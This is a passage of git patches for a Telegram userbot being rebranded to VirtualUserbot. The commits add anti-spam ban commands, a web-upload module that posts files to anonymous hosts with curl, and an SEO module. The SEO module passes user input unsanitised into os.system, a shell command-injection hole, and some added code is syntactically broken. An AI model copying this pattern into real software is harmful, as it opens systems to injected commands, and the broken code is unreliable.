◜‿◝ )♡") input_str = target_file.pattern_match.group(1) if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) From f88b76fbdfbd9795b8b8cd0f66905ccaea981f55 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:07:55 +0530 Subject: [PATCH 260/838] Update countries.py --- fridaybot/modules/countries.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/countries.py b/fridaybot/modules/countries.py index 417facf0..e3196756 100644 --- a/fridaybot/modules/countries.py +++ b/fridaybot/modules/countries.py @@ -118,8 +118,8 @@ async def _(event): Top Level Domain:- {lanester} wikipedia:- {wiki}
    -Information Gathered By Friday. -Get Your Own Friday From @FRIDAYCHAT. +Information Gathered By VirtualUserbot. +Get Your Own Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).
    """ From 6489af53078dc3e784ffe883065b15fbb4bebef7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:09:28 +0530 Subject: [PATCH 261/838] Update virustotal.py --- fridaybot/modules/virustotal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/virustotal.py b/fridaybot/modules/virustotal.py index fe6e0ec6..1daed005 100644 --- a/fridaybot/modules/virustotal.py +++ b/fridaybot/modules/virustotal.py @@ -86,7 +86,7 @@ async def download(target_file): "Need to get an API key from https://virustotal.com\nModule stopping!" ) return - await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") + await friday.edit("Processing using VirtualUserbot server ( ◜‿◝ )♡") input_str = Config.VIRUSTOTAL_API_KEY if not os.path.isdir(sedpath): os.makedirs(sedpath) From edb17362159098c3b9a640cb80c27da901daec45 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:12:58 +0530 Subject: [PATCH 262/838] Update countries.py --- fridaybot/modules/countries.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/countries.py b/fridaybot/modules/countries.py index e3196756..05719b8b 100644 --- a/fridaybot/modules/countries.py +++ b/fridaybot/modules/countries.py @@ -118,8 +118,8 @@ async def _(event): Top Level Domain:- {lanester} wikipedia:- {wiki}
    -Information Gathered By VirtualUserbot. -Get Your Own Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot). +Information Gathered By VirtualUserbot.
    +Get Your Own Superpowers with VirtualUserbot.
    """ From 905372592e80f429542389d4d04b8b0b2a2d9a59 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:14:04 +0530 Subject: [PATCH 263/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index f56ea78d..ec77d122 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -110,7 +110,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) VirtualUserbot** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot) ** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From 8cc9f0a03b653c45e69e2456171f4273a4ecfa15 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:24:46 +0530 Subject: [PATCH 264/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index ec77d122..071036c9 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -110,7 +110,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot) ** ".format(plugin_name) + reply_pop_up_alert += ("\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot) ** ".format(plugin_name),link_preview=False) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From 7de9aed21df5c239ef71ff66a7d1d51754733c47 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:28:11 +0530 Subject: [PATCH 265/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 071036c9..d73a422b 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -108,9 +108,9 @@ async def on_plug_in_callback_query_handler(event): return plugin_name = event.data_match.group(1).decode("UTF-8") if plugin_name in CMD_HELP: - help_string = f"**💡 PLUGIN NAME 💡 :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" + help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += ("\n\n**(C) [VirtualUserbot](github.com/inukaasith/virtualuserbot) ** ".format(plugin_name),link_preview=False) + reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](https://tinyurl.com/y8eqqa5v) ** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From 212579b82ff2fcf091abf6dc712dac572ee3b5af Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 11:49:22 +0530 Subject: [PATCH 266/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index d73a422b..738af6a2 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -110,7 +110,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) [VirtualUserbot](https://tinyurl.com/y8eqqa5v) ** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) VirtualUserbot ** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From 2f126a3e168ddcbf421af3484d343031877cff0f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:18:53 +0530 Subject: [PATCH 267/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 4ce34b70..83019fcd 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ Pillow +nospamplus pymediainfo quote antispaminc From d6e89e97926c43ef07ac9a76b1885400eba634cc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:21:11 +0530 Subject: [PATCH 268/838] Update information.py --- fridaybot/modules/information.py | 54 ++++++++++++++++++++++++++------ 1 file changed, 44 insertions(+), 10 deletions(-) diff --git a/fridaybot/modules/information.py b/fridaybot/modules/information.py index 475392b8..7510d78b 100644 --- a/fridaybot/modules/information.py +++ b/fridaybot/modules/information.py @@ -1,5 +1,3 @@ -"""Get Telegram Profile Picture and other information -Syntax: .info @username""" import html from telethon.tl.functions.photos import GetUserPhotosRequest @@ -47,12 +45,6 @@ async def _(event): except Exception as e: dc_id = "Unknown." str(e) - hmmyes = sclient.is_banned(user_id) - if hmmyes: - oki = f"""ANTISPAM INC BANNED: True -Reason : {hmmyes.reason}""" - else: - oki = " " shazam = replied_user_profile_photos_count caption = f"""INFO Telegram ID: {user_id} @@ -66,7 +58,6 @@ async def _(event): VERIFIED: {replied_user.user.verified} IS A BOT: {replied_user.user.bot} Groups in Common: {common_chats} -{oki} """ message_id_to_reply = event.message.reply_to_msg_id if not message_id_to_reply: @@ -137,10 +128,53 @@ async def get_full_user(event): return None, e +@friday.on(friday_on_cmd("wru ?(.*)")) +@friday.on(sudo_cmd("wru ?(.*)", allow_sudo=True)) +async def gibinfo(event): + if not event.pattern_match.group(1): + user = ( + (await event.get_reply_message()).sender if event.is_reply else event.sender + ) + lolu = await event.client(GetFullUserRequest(user.id)) + else: + try: + lolu = await event.client(GetFullUserRequest(event.pattern_match.group(1))) + except: + await event.edit("No User Found.", parse_mode="HTML") + return + try: + cas_url = f"https://combot.org/api/cas/check?user_id={lolu.user.id}" + r = get(cas_url, timeout=3) + data = r.json() + except: + data = None + if data and data["ok"]: + reason = f"True" + else: + reason = f"False" + hmmyes = sclient.is_banned(lolu.user.id) + if hmmyes: + oki = f"""True +~ Reason : {hmmyes.reason}""" + else: + oki = "False" + infomsg = ( + f"Info Of {lolu.user.first_name}: \n" + f"- Username : {lolu.user.username}\n" + f"- ID : {lolu.user.id}\n" + f"- Bot : {lolu.user.bot}\n" + f"- CAS Banned : {reason} \n" + f"- Nospam+ Banned : {oki}" + ) + await event.edit(infomsg, parse_mode="HTML") + + CMD_HELP.update( { "information": "**Information**\ \n\n**Syntax : **`.info `\ -\n**Usage :** Gives you information about the username." +\n**Usage :** Gives you information about the username.\ +\n\n**Syntax : **`.wru `\ +\n**Usage :** Shows if the person is banned in NospamPlus or not." } ) From 29b879696043e1affc6fb4ba5503198b9fef15fc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:22:01 +0530 Subject: [PATCH 269/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 83019fcd..6ed39c5d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -24,6 +24,7 @@ gTTS-token>=1.1.3 gTTS>=2.0.1 geopy gitpython +nospamplus google-api-python-client==1.8.0 google-auth-oauthlib google_images_download>=2.7.1 From 27236634188688bae4ca586aa388138738f3f587 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:22:41 +0530 Subject: [PATCH 270/838] Update requirements.txt --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 6ed39c5d..52978028 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,7 +2,6 @@ Pillow nospamplus pymediainfo quote -antispaminc python-magic glitch_this PyGithub From 5232ead8ba8c494ea4c873d8fdc6628f3159b87b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:23:35 +0530 Subject: [PATCH 271/838] Update Configs.py --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 2b2fdbab..764dcdce 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -33,7 +33,7 @@ class Config(object): # Get a Free API Key from OCR.Space OCR_SPACE_API_KEY = os.environ.get("OCR_SPACE_API_KEY", None) DEEP_API_KEY = os.environ.get("DEEP_API_KEY", None) - ANTI_SPAMINC_TOKEN = os.environ.get("ANTI_SPAMINC_TOKEN", None) + NOSPAMPLUS_TOKEN = os.environ.get("NOSPAMPLUS_TOKEN", None) # Send .get_id in any group with all your administration bots (added) G_BAN_LOGGER_GROUP = int(os.environ.get("G_BAN_LOGGER_GROUP", -1001198699233)) # TG API limit. An album can have atmost 10 media! From e2ec24ce0fcbf7b357f9eacbf2187409d912a6a0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:25:09 +0530 Subject: [PATCH 272/838] Update __init__.py --- fridaybot/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index d94fc616..60c4f1b2 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -8,7 +8,7 @@ import pylast import wget -from antispaminc.connect import Connect +from nospamplus.connect import Connect from dotenv import load_dotenv from pylast import LastFMNetwork, md5 from pySmartDL import SmartDL From b11afc611199bb9b6e34a895a334ddc52cc55e18 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:26:15 +0530 Subject: [PATCH 273/838] Update antispam.py --- fridaybot/modules/antispam.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/antispam.py b/fridaybot/modules/antispam.py index 340f191b..65cf9e09 100644 --- a/fridaybot/modules/antispam.py +++ b/fridaybot/modules/antispam.py @@ -19,7 +19,7 @@ async def ok(event): user = sclient.is_banned(juser.id) if user: await event.reply( - f"**#FRIDAY ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.reason}`" + f"**#ANTISPAM** \n**Detected Malicious User.** \n**User-ID :** `{juser.id}` \n**Reason :** `{user.ban_code} - {user.reason}`" ) try: await borg.edit_permissions( @@ -54,5 +54,5 @@ async def dnamg(event): await borg.kick_participant(event.chat_id, okbruh.id) await borg.send_message( Config.PRIVATE_GROUP_ID, - f"**WARNING - SPAM ADDING** \nUSER : `{added_bys}` \nCHAT : `{lmao_info}` \nGROUP PRIVATE : `{is_pvt}` \n**You May Report This At @SpamWatch Or @AntispamINC.**", + f"**WARNING - SPAM ADDING** \nUSER : `{added_bys}` \nCHAT : `{lmao_info}` \nGROUP PRIVATE : `{is_pvt}` \n**You May Report This At @SpamWatch Or @NospamPlusChat.**", ) From 483f68ab48d8352ae546d673a2d3b3b27b2ab10a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:26:55 +0530 Subject: [PATCH 274/838] Delete antispam_devs.py --- fridaybot/modules/antispam_devs.py | 102 ----------------------------- 1 file changed, 102 deletions(-) delete mode 100644 fridaybot/modules/antispam_devs.py diff --git a/fridaybot/modules/antispam_devs.py b/fridaybot/modules/antispam_devs.py deleted file mode 100644 index 30974aa8..00000000 --- a/fridaybot/modules/antispam_devs.py +++ /dev/null @@ -1,102 +0,0 @@ -import secrets - -from fridaybot import sclient -from fridaybot.utils import admin_cmd - -"""This Is Only For Devs Of AntispamInc, Needs Root Permissions // @AntispamInc""" - - -@borg.on(admin_cmd(pattern="benheck(?: |$)(.*)")) -async def oki(event): - await event.edit("`Processing...`") - extra = None - args = event.pattern_match.group(1) - if event.reply_to_msg_id: - previous_message = await event.get_reply_message() - user = await event.client.get_entity(previous_message.sender_id) - extra = event.pattern_match.group(1) - elif args: - args = event.pattern_match.group(1).split(" ", 1) - userz = args[0] - if userz.isnumeric(): - user = int(userz) - else: - await event.edit("Provide User-ID Not Username.") - return - if len(args) == 2: - extra = args[1] - if extra == None: - await event.edit("Reason Can't Be None") - return - elif extra == "": - await event.edit("Reason Can't Be None") - return - if not user: - await event.edit("Reply To User Or Mention a User.") - return - try: - sclient.ban(user, extra) - await borg.send_message("antispamincfed", f"/fban {user} {extra}") - await event.edit( - f"**User :** `{user}` \n**Reason :** `{extra}` \n**Banned Sucessfully !**" - ) - except Exception as e: - await event.edit("Errors : " + str(e)) - - -@borg.on(admin_cmd(pattern="heck(?: |$)(.*)")) -async def oka(event): - await event.edit("`Processing...`") - args = event.pattern_match.group(1) - if event.reply_to_msg_id: - previous_message = await event.get_reply_message() - user = await event.client.get_entity(previous_message.sender_id) - elif args: - userz = args - if userz.isnumeric(): - user = int(userz) - else: - await event.edit("Fuck, Gib ID") - return - if not user: - await event.edit("Reply To User Or Mention a User.") - return - gensys2 = sclient.unban(user) - await borg.send_message("antispamincfed", f"/unfban {user}") - if gensys2["error"] == True: - await event.edit("Error : " + gensys2["full"]) - else: - await event.edit(f"**User :** `{user}` \n**UnBanned Sucessfully !**") - - -@borg.on(admin_cmd(pattern="nt")) -async def tokens(event): - await event.edit("`Processing...`") - okbabe = secrets.token_urlsafe(16) - skynet = sclient.new_token(okbabe) - if skynet["error"] == True: - await event.edit("Error : " + gensys2["full"]) - else: - await event.edit(f"**New Token** \n**Token** : `{okbabe}`") - - -@borg.on(admin_cmd(pattern="massbenheck(?: |$)(.*)")) -async def oki(event): - lmaoded = [] - lol = event.pattern_match.group(1) - stark = lol.split(" ", 1) - noteme = stark[0] - errorz = "" - lolsed = stark[1] - async for user in borg.iter_participants(noteme): - lmaoded.append(user.id) - for i in lmaoded: - try: - sclient.ban(i, lolsed) - await borg.send_message("antispamincfed", f"/fban {i} {lolsed}") - except: - errorz += 1 - await event.edit( - f"**User :** `{i}` \n**Banned Sucessfully !** \n**Failed :** `{len(errorz)}`" - ) - await event.edit("**DONE !**") From 5b8f68d5828f4729395a69cc63a1771405a82476 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:27:30 +0530 Subject: [PATCH 275/838] Create no_spam_plus_devs.py --- fridaybot/modules/no_spam_plus_devs.py | 96 ++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 fridaybot/modules/no_spam_plus_devs.py diff --git a/fridaybot/modules/no_spam_plus_devs.py b/fridaybot/modules/no_spam_plus_devs.py new file mode 100644 index 00000000..0b0a8438 --- /dev/null +++ b/fridaybot/modules/no_spam_plus_devs.py @@ -0,0 +1,96 @@ +import secrets + +from fridaybot import sclient +from fridaybot.utils import admin_cmd + +json_codes = { + 'nsX01': 'Pornography - High Risk', + 'nsX02': 'Spammer - High Risk', + 'nsX03': 'Spam Adding Users - High Risk', + 'nsX04': 'Raid Participants - High Risk', + 'nsX05': 'Licence violation - Low Risk', + 'nsX06': 'Spam Bot - High Risk', + 'nsX07': 'Flood - High Risk', + 'nsX08': 'Malware - High Risk', + 'nsX09': 'PM Spam - High Risk', + 'nsX10': 'Power Misuser - Medium Risk', + 'nsX11': 'Multiple Risks - Extreme Risk' +} + + +@borg.on(admin_cmd(pattern="nspban(?: |$)(.*)")) +async def oki(event): + await event.edit("`Processing...`") + extra = None + args = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user = await borg.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif args: + args = event.pattern_match.group(1).split(" ", 1) + userz = args[0] + if userz.isnumeric(): + user = int(userz) + else: + try: + userm = await event.client(GetFullUserRequest(userz)) + user = userm.user.id + except: + await event.edit("No User Found.", parse_mode="HTML") + return + if len(args) == 2: + extra = args[1] + if not json_codes.get(extra): + await event.edit('`Please Use Valid Ban Codes.`') + return + if not user: + await event.edit("Reply To User Or Mention a User.") + return + try: + sclient.ban(user, extra) + await borg.send_message("nospamplusfed", f"/fban {user} {extra} {json_codes[extra]}") + await event.edit( + f"**User :** `{user}` \n**Reason :** `{extra} {json_codes[extra]}` \n**Banned Sucessfully !**" + ) + except Exception as e: + await event.edit("**Errors : **" + str(e)) + + +@borg.on(admin_cmd(pattern="nspuban(?: |$)(.*)")) +async def oka(event): + await event.edit("`Processing...`") + args = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user = await event.client.get_entity(previous_message.sender_id) + elif args: + userz = args + if userz.isnumeric(): + user = int(userz) + else: + try: + userm = await event.client(GetFullUserRequest(userz)) + user = userm.user.id + except: + await event.edit("No User Found.", parse_mode="HTML") + return + if not user: + await event.edit("Reply To User Or Mention a User.") + return + try: + gensys2 = sclient.unban(user) + await borg.send_message("nospamplusfed", f"/unfban {user}") + await event.edit(f"**User :** `{user}` \n**UnBanned Sucessfully !**") + except Exception as e: + await event.edit("**Errors : **" + str(e)) + +@borg.on(admin_cmd(pattern="generatetoken")) +async def tokens(event): + await event.edit("`Processing...`") + okbabe = secrets.token_urlsafe(16) + try: + skynet = sclient.new_token(okbabe) + await event.edit(f"**New Token** \n**Token** : `{okbabe}`") + except Exception as e: + await event.edit("**Errors : **" + str(e)) From 5ee7770e2c89803d90b314367ac852ec73d5e8f2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:29:58 +0530 Subject: [PATCH 276/838] Update admin.py --- fridaybot/modules/admin.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index 074f396c..eda64efc 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -597,8 +597,7 @@ async def get_users(show): remove("userslist.txt") -@borg.on(admin_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True)) -@borg.on(sudo_cmd(pattern="zombies(?: |$)(.*)", allow_sudo=True)) +@borg.on(admin_cmd(pattern="zombies(?: |$)(.*)")) async def rm_deletedacc(show): con = show.pattern_match.group(1).lower() del_u = 0 From 480f50f46d23132bb625a01d441516994b452ceb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:31:51 +0530 Subject: [PATCH 277/838] Update webupload.py --- fridaybot/modules/webupload.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/fridaybot/modules/webupload.py b/fridaybot/modules/webupload.py index 801f1e2a..601fb850 100644 --- a/fridaybot/modules/webupload.py +++ b/fridaybot/modules/webupload.py @@ -1,17 +1,15 @@ # credits: SNAPDRAGON (@s_n_a_p_s) import asyncio import time - +from fridaybot.utils import friday_on_cmd from fridaybot import CMD_HELP -@command( - pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles)" -) +@borg.on(friday_on_cmd(pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|ninja)")) async def _(event): if event.fwd_from: return - await event.edit("Processing ...") + await event.edit("`Processing ...`") PROCESS_RUN_TIME = 100 input_str = event.pattern_match.group(1) selected_transfer = event.pattern_match.group(2) @@ -19,20 +17,20 @@ async def _(event): file_name = input_str else: reply = await event.get_reply_message() - file_name = await bot.download_media(reply.media, Var.TEMP_DOWNLOAD_DIRECTORY) - event.message.id + file_name = await borg.download_media(reply.media, Var.TEMP_DOWNLOAD_DIRECTORY) CMD_WEB = { "anonfiles": 'curl -F "file=@{}" https://anonfiles.com/api/upload', "transfer": 'curl --upload-file "{}" https://transfer.sh/{os.path.basename(file_name)}', "filebin": 'curl -X POST --data-binary "@test.png" -H "filename: {}" "https://filebin.net"', "anonymousfiles": 'curl -F file="@{}" https://api.anonymousfiles.io/', "megaupload": 'curl -F "file=@{}" https://megaupload.is/api/upload', + "ninja": "curl -i -F file=@{} https://tmp.ninja/api.php?d=upload-tool", "bayfiles": '.exec curl -F "file=@{}" https://bayfiles.com/api/upload', } try: selected_one = CMD_WEB[selected_transfer].format(file_name) except KeyError: - await event.edit("Invalid selected Transfer") + await event.edit("Invalid selected Transfer. Do .ahelp webupload to Know More.") cmd = selected_one time.time() + PROCESS_RUN_TIME process = await asyncio.create_subprocess_shell( From 01e737e5be9730166720a44ecf44b451a8bbebe8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Tue, 29 Dec 2020 23:37:24 +0530 Subject: [PATCH 278/838] Update __init__.py --- fridaybot/__init__.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/__init__.py b/fridaybot/__init__.py index 60c4f1b2..e737dbf3 100644 --- a/fridaybot/__init__.py +++ b/fridaybot/__init__.py @@ -189,12 +189,12 @@ except: sedprint.info("I Wasn't Able To Download Cafee Model. Skipping") -if Config.ANTI_SPAMINC_TOKEN == None: +if Config.NOSPAMPLUS_TOKEN == None: sclient = None - sedprint.info("[Warning] - AntispamInc is None") + sedprint.info("[Warning] - NoSpamPlusToken is None") else: try: - sclient = Connect(Config.ANTI_SPAMINC_TOKEN) + sclient = Connect(Config.NOSPAMPLUS_TOKEN) except Exception as e: sclient = None sedprint.info("[Warning] - " + str(e)) From 482f503fc47d66a88c021fba99b8015d392589b1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 30 Dec 2020 11:44:06 +0530 Subject: [PATCH 279/838] Update requirements.txt --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 52978028..25801cdc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,7 @@ nospamplus pymediainfo quote python-magic +pyseoanalyzer glitch_this PyGithub pytesseract From f7116b4b1b754c7f0e56b720d37b70368a21e3e2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 30 Dec 2020 11:45:12 +0530 Subject: [PATCH 280/838] Create seotools.py --- fridaybot/modules/seotools.py | 49 +++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 fridaybot/modules/seotools.py diff --git a/fridaybot/modules/seotools.py b/fridaybot/modules/seotools.py new file mode 100644 index 00000000..6c5892d8 --- /dev/null +++ b/fridaybot/modules/seotools.py @@ -0,0 +1,49 @@ +from seoanalyzer import analyze +import os + +from uniborg.util import friday_on_cmd + +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + + + +@friday.on(admin_cmd(pattern="seo (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("processing please wait ") + site = input_str + try: + + cmd = "seoanalyze " + site + " --output-format html > seo.html" + os.system(cmd) + + await event.client.send_file( + event.chat_id, + "seo.html", + caption=f"**Site SEO Analysed Successfully\n\nNote: Open This File With Chrome Or Any Browser\n\n\nSite Analysed By Friday\nGet Your Friday From** @FRIDAYCHAT", + ) + com = "rm seo.html" + os.system(com) + await event.delete() + else: + await event.edit("Make Sure The Given Website URL is valid.") + com = "rm seo.html" + os.system(com) + await event.delete() + + + + + + +CMD_HELP.update( + { + "seotools": "**Seo Tools**\ +\n\n**Syntax : **`.seo `\ +\n**Usage :** Analyses SEO Of The Website.\ +\n\n\n**Note : ** If The Website is too big, Userbot Crashes Because Of Insufficient Memory" + } +) From 1853f3c88490865fe532ab8653ee7f2bef6a1383 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 30 Dec 2020 11:50:45 +0530 Subject: [PATCH 281/838] =?UTF-8?q?.hu=20for=20=E0=B6=9A=E0=B7=80=E0=B7=94?= =?UTF-8?q?=E0=B6=BB=E0=B7=94=E0=B6=B1=E0=B7=8A=20=E0=B6=9A=E0=B7=99?= =?UTF-8?q?=E0=B7=83=E0=B7=9A=20=E0=B6=9A=E0=B7=93=E0=B7=80=E0=B6=AF=20?= =?UTF-8?q?=E0=B6=B5=E0=B6=BB=E0=B7=94=E0=B7=83=20=E0=B7=80=E0=B6=A0?= =?UTF-8?q?=E0=B6=B1=20=E0=B6=B7=E0=B7=8F=E0=B7=80=E0=B7=92=E0=B6=AD?= =?UTF-8?q?=E0=B6=BA=20=E0=B6=94=E0=B6=B6=E0=B7=9A=20=E0=B6=85=E0=B6=BB?= =?UTF-8?q?=E0=B6=9A=20=E0=B6=B4=E0=B6=AB=20=E0=B6=B1=E0=B7=90=E0=B6=AD?= =?UTF-8?q?=E0=B7=92=20=E0=B6=9A=E0=B6=BB=E0=B7=80=E0=B6=BA=E0=B7=92!=20?= =?UTF-8?q?=F0=9F=98=82=F0=9F=98=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fridaybot/modules/hu.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 fridaybot/modules/hu.py diff --git a/fridaybot/modules/hu.py b/fridaybot/modules/hu.py new file mode 100644 index 00000000..d5979c24 --- /dev/null +++ b/fridaybot/modules/hu.py @@ -0,0 +1,11 @@ +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + + +@bot.on(admin_cmd(pattern="hu$")) +@bot.on(sudo_cmd(pattern="hu$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි! **", + ) + From f70ae6f639d6d458f10039d36a7eeaef2935e41a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH 